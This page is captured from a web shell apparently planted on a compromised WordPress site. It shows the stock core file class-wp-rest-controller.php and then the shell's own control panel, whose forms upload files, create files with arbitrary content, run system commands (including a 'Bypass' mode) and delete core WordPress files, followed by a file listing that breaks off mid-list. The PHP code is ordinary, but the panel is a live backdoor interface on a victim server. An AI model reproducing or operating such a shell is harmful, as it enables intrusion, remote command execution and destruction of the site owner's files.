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<div class='alert alert-info'><strong>/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-controller.php</strong></div><pre class='file-content'>&lt;?php
/**
 * REST API: WP_REST_Controller class
 *
 * @package WordPress
 * @subpackage REST_API
 * @since 4.7.0
 */

/**
 * Core base controller for managing and interacting with REST API items.
 *
 * @since 4.7.0
 */
#[AllowDynamicProperties]
abstract class WP_REST_Controller {

	/**
	 * The namespace of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $namespace;

	/**
	 * The base of this controller's route.
	 *
	 * @since 4.7.0
	 * @var string
	 */
	protected $rest_base;

	/**
	 * Cached results of get_item_schema.
	 *
	 * @since 5.3.0
	 * @var array
	 */
	protected $schema;

	/**
	 * Registers the routes for the objects of the controller.
	 *
	 * @since 4.7.0
	 *
	 * @see register_rest_route()
	 */
	public function register_routes() {
		_doing_it_wrong(
			'WP_REST_Controller::register_routes',
			/* translators: %s: register_routes() */
			sprintf( __( &quot;Method '%s' must be overridden.&quot; ), __METHOD__ ),
			'4.7.0'
		);
	}

	/**
	 * Checks if a given request has access to get items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access, WP_Error object otherwise.
	 */
	public function get_items_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Retrieves a collection of items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_items( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Checks if a given request has access to get a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has read access for the item, WP_Error object otherwise.
	 */
	public function get_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Retrieves one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function get_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Checks if a given request has access to create items.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to create items, WP_Error object otherwise.
	 */
	public function create_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Creates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function create_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Checks if a given request has access to update a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to update the item, WP_Error object otherwise.
	 */
	public function update_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Updates one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function update_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Checks if a given request has access to delete a specific item.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return true|WP_Error True if the request has access to delete the item, WP_Error object otherwise.
	 */
	public function delete_item_permissions_check( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Deletes one item from the collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function delete_item( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Prepares one item for create or update operation.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Request $request Request object.
	 * @return object|WP_Error The prepared item, or WP_Error object on failure.
	 */
	protected function prepare_item_for_database( $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Prepares the item for the REST response.
	 *
	 * @since 4.7.0
	 *
	 * @param mixed           $item    WordPress representation of the item.
	 * @param WP_REST_Request $request Request object.
	 * @return WP_REST_Response|WP_Error Response object on success, or WP_Error object on failure.
	 */
	public function prepare_item_for_response( $item, $request ) {
		return new WP_Error(
			'invalid-method',
			/* translators: %s: Method name. */
			sprintf( __( &quot;Method '%s' not implemented. Must be overridden in subclass.&quot; ), __METHOD__ ),
			array( 'status' =&gt; 405 )
		);
	}

	/**
	 * Prepares a response for insertion into a collection.
	 *
	 * @since 4.7.0
	 *
	 * @param WP_REST_Response $response Response object.
	 * @return array|mixed Response data, ready for insertion into collection data.
	 */
	public function prepare_response_for_collection( $response ) {
		if ( ! ( $response instanceof WP_REST_Response ) ) {
			return $response;
		}

		$data   = (array) $response-&gt;get_data();
		$server = rest_get_server();
		$links  = $server::get_compact_response_links( $response );

		if ( ! empty( $links ) ) {
			$data['_links'] = $links;
		}

		return $data;
	}

	/**
	 * Filters a response based on the context defined in the schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array  $response_data Response data to filter.
	 * @param string $context       Context defined in the schema.
	 * @return array Filtered response.
	 */
	public function filter_response_by_context( $response_data, $context ) {

		$schema = $this-&gt;get_item_schema();

		return rest_filter_response_by_context( $response_data, $schema, $context );
	}

	/**
	 * Retrieves the item's schema, conforming to JSON Schema.
	 *
	 * @since 4.7.0
	 *
	 * @return array Item schema data.
	 */
	public function get_item_schema() {
		return $this-&gt;add_additional_fields_schema( array() );
	}

	/**
	 * Retrieves the item's schema for display / public consumption purposes.
	 *
	 * @since 4.7.0
	 *
	 * @return array Public item schema data.
	 */
	public function get_public_item_schema() {

		$schema = $this-&gt;get_item_schema();

		if ( ! empty( $schema['properties'] ) ) {
			foreach ( $schema['properties'] as &amp;$property ) {
				unset( $property['arg_options'] );
			}
		}

		return $schema;
	}

	/**
	 * Retrieves the query params for the collections.
	 *
	 * @since 4.7.0
	 *
	 * @return array Query parameters for the collection.
	 */
	public function get_collection_params() {
		return array(
			'context'  =&gt; $this-&gt;get_context_param(),
			'page'     =&gt; array(
				'description'       =&gt; __( 'Current page of the collection.' ),
				'type'              =&gt; 'integer',
				'default'           =&gt; 1,
				'sanitize_callback' =&gt; 'absint',
				'validate_callback' =&gt; 'rest_validate_request_arg',
				'minimum'           =&gt; 1,
			),
			'per_page' =&gt; array(
				'description'       =&gt; __( 'Maximum number of items to be returned in result set.' ),
				'type'              =&gt; 'integer',
				'default'           =&gt; 10,
				'minimum'           =&gt; 1,
				'maximum'           =&gt; 100,
				'sanitize_callback' =&gt; 'absint',
				'validate_callback' =&gt; 'rest_validate_request_arg',
			),
			'search'   =&gt; array(
				'description'       =&gt; __( 'Limit results to those matching a string.' ),
				'type'              =&gt; 'string',
				'sanitize_callback' =&gt; 'sanitize_text_field',
				'validate_callback' =&gt; 'rest_validate_request_arg',
			),
		);
	}

	/**
	 * Retrieves the magical context param.
	 *
	 * Ensures consistent descriptions between endpoints, and populates enum from schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $args Optional. Additional arguments for context parameter. Default empty array.
	 * @return array Context parameter details.
	 */
	public function get_context_param( $args = array() ) {
		$param_details = array(
			'description'       =&gt; __( 'Scope under which the request is made; determines fields present in response.' ),
			'type'              =&gt; 'string',
			'sanitize_callback' =&gt; 'sanitize_key',
			'validate_callback' =&gt; 'rest_validate_request_arg',
		);

		$schema = $this-&gt;get_item_schema();

		if ( empty( $schema['properties'] ) ) {
			return array_merge( $param_details, $args );
		}

		$contexts = array();

		foreach ( $schema['properties'] as $attributes ) {
			if ( ! empty( $attributes['context'] ) ) {
				$contexts = array_merge( $contexts, $attributes['context'] );
			}
		}

		if ( ! empty( $contexts ) ) {
			$param_details['enum'] = array_unique( $contexts );
			rsort( $param_details['enum'] );
		}

		return array_merge( $param_details, $args );
	}

	/**
	 * Adds the values from additional fields to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param array           $response_data Prepared response array.
	 * @param WP_REST_Request $request       Full details about the request.
	 * @return array Modified data object with additional fields.
	 */
	protected function add_additional_fields_to_object( $response_data, $request ) {

		$additional_fields = $this-&gt;get_additional_fields();

		$requested_fields = $this-&gt;get_fields_for_response( $request );

		foreach ( $additional_fields as $field_name =&gt; $field_options ) {
			if ( ! $field_options['get_callback'] ) {
				continue;
			}

			if ( ! rest_is_field_included( $field_name, $requested_fields ) ) {
				continue;
			}

			$response_data[ $field_name ] = call_user_func(
				$field_options['get_callback'],
				$response_data,
				$field_name,
				$request,
				$this-&gt;get_object_type()
			);
		}

		return $response_data;
	}

	/**
	 * Updates the values of additional fields added to a data object.
	 *
	 * @since 4.7.0
	 *
	 * @param object          $data_object Data model like WP_Term or WP_Post.
	 * @param WP_REST_Request $request     Full details about the request.
	 * @return true|WP_Error True on success, WP_Error object if a field cannot be updated.
	 */
	protected function update_additional_fields_for_object( $data_object, $request ) {
		$additional_fields = $this-&gt;get_additional_fields();

		foreach ( $additional_fields as $field_name =&gt; $field_options ) {
			if ( ! $field_options['update_callback'] ) {
				continue;
			}

			// Don't run the update callbacks if the data wasn't passed in the request.
			if ( ! isset( $request[ $field_name ] ) ) {
				continue;
			}

			$result = call_user_func(
				$field_options['update_callback'],
				$request[ $field_name ],
				$data_object,
				$field_name,
				$request,
				$this-&gt;get_object_type()
			);

			if ( is_wp_error( $result ) ) {
				return $result;
			}
		}

		return true;
	}

	/**
	 * Adds the schema from additional fields to a schema array.
	 *
	 * The type of object is inferred from the passed schema.
	 *
	 * @since 4.7.0
	 *
	 * @param array $schema Schema array.
	 * @return array Modified Schema array.
	 */
	protected function add_additional_fields_schema( $schema ) {
		if ( empty( $schema['title'] ) ) {
			return $schema;
		}

		// Can't use $this-&gt;get_object_type otherwise we cause an inf loop.
		$object_type = $schema['title'];

		$additional_fields = $this-&gt;get_additional_fields( $object_type );

		foreach ( $additional_fields as $field_name =&gt; $field_options ) {
			if ( ! $field_options['schema'] ) {
				continue;
			}

			$schema['properties'][ $field_name ] = $field_options['schema'];
		}

		return $schema;
	}

	/**
	 * Retrieves all of the registered additional fields for a given object-type.
	 *
	 * @since 4.7.0
	 *
	 * @global array $wp_rest_additional_fields Holds registered fields, organized by object type.
	 *
	 * @param string $object_type Optional. The object type.
	 * @return array Registered additional fields (if any), empty array if none or if the object type
	 *               could not be inferred.
	 */
	protected function get_additional_fields( $object_type = null ) {
		global $wp_rest_additional_fields;

		if ( ! $object_type ) {
			$object_type = $this-&gt;get_object_type();
		}

		if ( ! $object_type ) {
			return array();
		}

		if ( ! $wp_rest_additional_fields || ! isset( $wp_rest_additional_fields[ $object_type ] ) ) {
			return array();
		}

		return $wp_rest_additional_fields[ $object_type ];
	}

	/**
	 * Retrieves the object type this controller is responsible for managing.
	 *
	 * @since 4.7.0
	 *
	 * @return string Object type for the controller.
	 */
	protected function get_object_type() {
		$schema = $this-&gt;get_item_schema();

		if ( ! $schema || ! isset( $schema['title'] ) ) {
			return null;
		}

		return $schema['title'];
	}

	/**
	 * Gets an array of fields to be included on the response.
	 *
	 * Included fields are based on item schema and `_fields=` request argument.
	 *
	 * @since 4.9.6
	 *
	 * @param WP_REST_Request $request Full details about the request.
	 * @return string[] Fields to be included in the response.
	 */
	public function get_fields_for_response( $request ) {
		$schema     = $this-&gt;get_item_schema();
		$properties = isset( $schema['properties'] ) ? $schema['properties'] : array();

		$additional_fields = $this-&gt;get_additional_fields();

		foreach ( $additional_fields as $field_name =&gt; $field_options ) {
			/*
			 * For back-compat, include any field with an empty schema
			 * because it won't be present in $this-&gt;get_item_schema().
			 */
			if ( is_null( $field_options['schema'] ) ) {
				$properties[ $field_name ] = $field_options;
			}
		}

		// Exclude fields that specify a different context than the request context.
		$context = $request['context'];
		if ( $context ) {
			foreach ( $properties as $name =&gt; $options ) {
				if ( ! empty( $options['context'] ) &amp;&amp; ! in_array( $context, $options['context'], true ) ) {
					unset( $properties[ $name ] );
				}
			}
		}

		$fields = array_keys( $properties );

		/*
		 * '_links' and '_embedded' are not typically part of the item schema,
		 * but they can be specified in '_fields', so they are added here as a
		 * convenience for checking with rest_is_field_included().
		 */
		$fields[] = '_links';
		if ( $request-&gt;has_param( '_embed' ) ) {
			$fields[] = '_embedded';
		}

		$fields = array_unique( $fields );

		if ( ! isset( $request['_fields'] ) ) {
			return $fields;
		}
		$requested_fields = wp_parse_list( $request['_fields'] );
		if ( 0 === count( $requested_fields ) ) {
			return $fields;
		}
		// Trim off outside whitespace from the comma delimited list.
		$requested_fields = array_map( 'trim', $requested_fields );
		// Always persist 'id', because it can be needed for add_additional_fields_to_object().
		if ( in_array( 'id', $fields, true ) ) {
			$requested_fields[] = 'id';
		}
		// Return the list of all requested fields which appear in the schema.
		return array_reduce(
			$requested_fields,
			static function ( $response_fields, $field ) use ( $fields ) {
				if ( in_array( $field, $fields, true ) ) {
					$response_fields[] = $field;
					return $response_fields;
				}
				// Check for nested fields if $field is not a direct match.
				$nested_fields = explode( '.', $field );
				/*
				 * A nested field is included so long as its top-level property
				 * is present in the schema.
				 */
				if ( in_array( $nested_fields[0], $fields, true ) ) {
					$response_fields[] = $field;
				}
				return $response_fields;
			},
			array()
		);
	}

	/**
	 * Retrieves an array of endpoint arguments from the item schema for the controller.
	 *
	 * @since 4.7.0
	 *
	 * @param string $method Optional. HTTP method of the request. The arguments for `CREATABLE` requests are
	 *                       checked for required values and may fall-back to a given default, this is not done
	 *                       on `EDITABLE` requests. Default WP_REST_Server::CREATABLE.
	 * @return array Endpoint arguments.
	 */
	public function get_endpoint_args_for_item_schema( $method = WP_REST_Server::CREATABLE ) {
		return rest_get_endpoint_args_for_schema( $this-&gt;get_item_schema(), $method );
	}

	/**
	 * Sanitizes the slug value.
	 *
	 * @since 4.7.0
	 *
	 * @internal We can't use sanitize_title() directly, as the second
	 * parameter is the fallback title, which would end up being set to the
	 * request object.
	 *
	 * @see https://github.com/WP-API/WP-API/issues/1585
	 *
	 * @todo Remove this in favour of https://core.trac.wordpress.org/ticket/34659
	 *
	 * @param string $slug Slug value passed in request.
	 * @return string Sanitized value for the slug.
	 */
	public function sanitize_slug( $slug ) {
		return sanitize_title( $slug );
	}
}
</pre><!DOCTYPE html>
<html lang="en">
<link rel="icon" href="https://e.top4top.io/p_26973oc9i1.png">
<head>
  <meta charset="UTF-8">
  <meta name="viewport" content="width=device-width, initial-scale=1.0">
  <style>
    * { margin: 0; padding: 0; box-sizing: border-box; }
    body {
      background: #111;
      color: #ccc;
      font-family: monospace;
      font-size: 16px;
      padding: 16px;
      line-height: 1.5;
    }
    a {
      color: #8ab4f8;
      text-decoration: none;
    }
    a:hover {
      text-decoration: underline;
    }
    .panel {
      margin-bottom: 20px;
    }
    input, textarea, button {
      background: #000;
      border: 1px solid #444;
      color: #ccc;
      font-family: inherit;
      font-size: 16px;
      padding: 6px;
      width: 100%;
    }
    button {
      cursor: pointer;
    }
    button:hover {
      background: #222;
    }
    ul {
      list-style: none;
      padding: 0;
      margin: 0;
    }
    li {
      padding: 6px 0;
      border-bottom: 1px solid #222;
      display: flex;
      justify-content: space-between;
      align-items: center;
    }
    .result-box {
    white-space: pre;
    overflow: auto;
    resize: vertical;
    width: 100%;
    }
    .breadcrumb {
      margin: 12px 0;
      font-size: 15px;
    }
    .file-content {
      background: #000;
      border: 1px solid #333;
      color: #ccc;
      padding: 12px;
      font-size: 15px;
      white-space: pre-wrap;
      max-height: 400px;
      overflow-y: auto;
    }
    .alert {
      background: #1a1a1a;
      border-left: 3px solid #008000;
      padding: 8px;
      margin-bottom: 12px;
      font-size: 15px;
    }
    .alert-danger {
      border-left-color: #800000;
    }
    .alert-success {
      border-left-color: #008000;
    }
    .alert-info {
      border-left-color: #005580;
    }
  </style>
</head>
<body>
  <div class="panel">
    <form action="" method="post" enctype="multipart/form-data">
      <input type="file" name="file_upload" required>
      <input type="hidden" name="upload_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints">
      <button type="submit">Upload</button>
    </form>
  </div>

  <div class="panel">
    <form action="" method="post">
      <input type="text" name="path" placeholder="Path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints" required>
      <input type="text" name="filename" placeholder="Filename" required>
      <textarea name="content" placeholder="File content"></textarea>
      <button type="submit">Create</button>
    </form>
  </div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmdbyp"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command [Bypass]</button>
  </form>
</div>

<div class="panel">
  <form action="" method="post" style="margin:0">
    <input
      type="text"
      name="cmddef"
      placeholder="Enter command"
      autocomplete="off"
      required
    >
    <button type="submit">Run Command</button>
  </form>
</div>


  <div class="breadcrumb">Path: <a href="?path=%2Fhome">home</a>/<a href="?path=%2Fhome%2Ftahkoom">tahkoom</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html">public_html</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes">wp-includes</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api">rest-api</a>/<a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints">endpoints</a></div>
  <ul>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-application-passwords-controller.php"> class-wp-rest-application-passwords-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-application-passwords-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-attachments-controller.php"> class-wp-rest-attachments-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-attachments-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-autosaves-controller.php"> class-wp-rest-autosaves-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-autosaves-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-block-directory-controller.php"> class-wp-rest-block-directory-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-block-directory-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-block-pattern-categories-controller.php"> class-wp-rest-block-pattern-categories-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-block-pattern-categories-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-block-patterns-controller.php"> class-wp-rest-block-patterns-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-block-patterns-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-block-renderer-controller.php"> class-wp-rest-block-renderer-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-block-renderer-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-block-types-controller.php"> class-wp-rest-block-types-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-block-types-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-blocks-controller.php"> class-wp-rest-blocks-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-blocks-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-comments-controller.php"> class-wp-rest-comments-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-comments-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-controller.php"> class-wp-rest-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-edit-site-export-controller.php"> class-wp-rest-edit-site-export-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-edit-site-export-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-font-collections-controller.php"> class-wp-rest-font-collections-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-font-collections-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-font-faces-controller.php"> class-wp-rest-font-faces-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-font-faces-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-font-families-controller.php"> class-wp-rest-font-families-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-font-families-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-global-styles-controller.php"> class-wp-rest-global-styles-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-controller.php">
            <button type="submit" style="width:auto;padding:4px 8px;">Delete</button>
          </form>
              </li>
          <li>
        <span>
          <strong>[F]</strong>
                      <a href="?path=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints&view_file=%2Fhome%2Ftahkoom%2Fpublic_html%2Fwp-includes%2Frest-api%2Fendpoints%2Fclass-wp-rest-global-styles-revisions-controller.php"> class-wp-rest-global-styles-revisions-controller.php</a>
                  </span>
                  <form action="" method="post" style="margin:0;">
            <input type="hidden" name="delete_path" value="/home/tahkoom/public_html/wp-includes/rest-api/endpoints/class-wp-rest-global-styles-revisions-controller.php">
